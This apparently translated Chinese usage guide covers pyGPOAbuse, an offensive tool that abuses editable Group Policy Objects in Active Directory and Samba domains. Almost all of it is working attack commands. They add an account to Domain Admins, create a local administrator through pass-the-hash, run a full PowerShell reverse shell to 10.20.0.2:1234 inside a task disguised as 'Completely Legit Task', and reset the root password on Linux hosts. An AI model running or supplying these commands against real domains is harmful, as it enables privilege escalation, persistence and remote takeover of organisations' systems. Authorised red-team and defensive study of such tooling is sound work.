通过过滤器进行主机/用户定位(类似 SharpGPOAbuse 的 --FilterEnabled):
-filter-enabled 启用 GPO 主机/用户定位,使计划任务仅针对特定主机/用户运行
-target-dns-name FQDN
计算机任务:应运行任务的唯一主机的 DNS/FQDN(例如 dc01.corp.local)
-target-username DOMAIN\USER
用户任务:仅此用户处理任务(格式:DOMAIN\username)
-target-user-sid SID 用户任务:目标用户的 SID(可选,提供更精确的匹配)
# 通过域控制器将域用户添加到 Domain Admins
python3 pygpoabuse.py red.local/user:Testing123 -gpo-id D9A65E7F-112D-49B9-AF7A-4FC2BA092BF6 -taskname SecurityUpdate -dc-ip 192.168.152.2 -command 'net user UserGPO P@ssw0rd /add && net group "Domain Admins" UserGPO /add' -filter-enabled -target-dns-name dc01.red.local
Python 对 SharpGPOAbuse 的部分实现,作者 @pkb1s
当一个受控账户能够修改一个应用于一个或多个用户和计算机的现有 GPO 时,可以使用此工具。它会在远程计算机上为计算机 GPO 创建一个以 SYSTEM 身份运行的即时计划任务,或为用户 GPO 创建一个以当前登录用户身份运行的任务。
默认行为是添加一个本地管理员。

将 john 用户添加到本地管理员组(密码:H4x00r123..)
./pygpoabuse.py DOMAIN/user -hashes lm:nt -gpo-id "12345677-ABCD-9876-ABCD-123456789012"
反弹 Shell 示例
./pygpoabuse.py DOMAIN/user -hashes lm:nt -gpo-id "12345677-ABCD-9876-ABCD-123456789012" \
-powershell \
-command "\$client = New-Object System.Net.Sockets.TCPClient('10.20.0.2',1234);\$stream = \$client.GetStream();[byte[]]\$bytes = 0..65535|%{0};while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){;\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0, \$i);\$sendback = (iex \$data 2>&1 | Out-String );\$sendback2 = \$sendback + 'PS ' + (pwd).Path + '> ';\$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte.Length);\$stream.Flush()};\$client.Close()" \
-taskname "Completely Legit Task" \
-description "Dis is legit, pliz no delete" \
-user
执行后删除计划任务。
./pygpoabuse.py DOMAIN/user -hashes lm:nt -gpo-id "12345677-ABCD-9876-ABCD-123456789012" --cleanup
该工具也可用于 Samba AD 域。它会为计算机 GPO 在远程计算机上创建一个以 root 身份运行的即时任务。
首先,创建一个 Bash 脚本或 ELF 文件。
#!/bin/bash
echo "root:1234" | chpasswd
然后使用 --linux-exec 参数执行工具。
./pygpoabuse.py DOMAIN/user:password -gpo-id "12345677-ABCD-9876-ABCD-123456789012" --linux-exec /path/to/executable
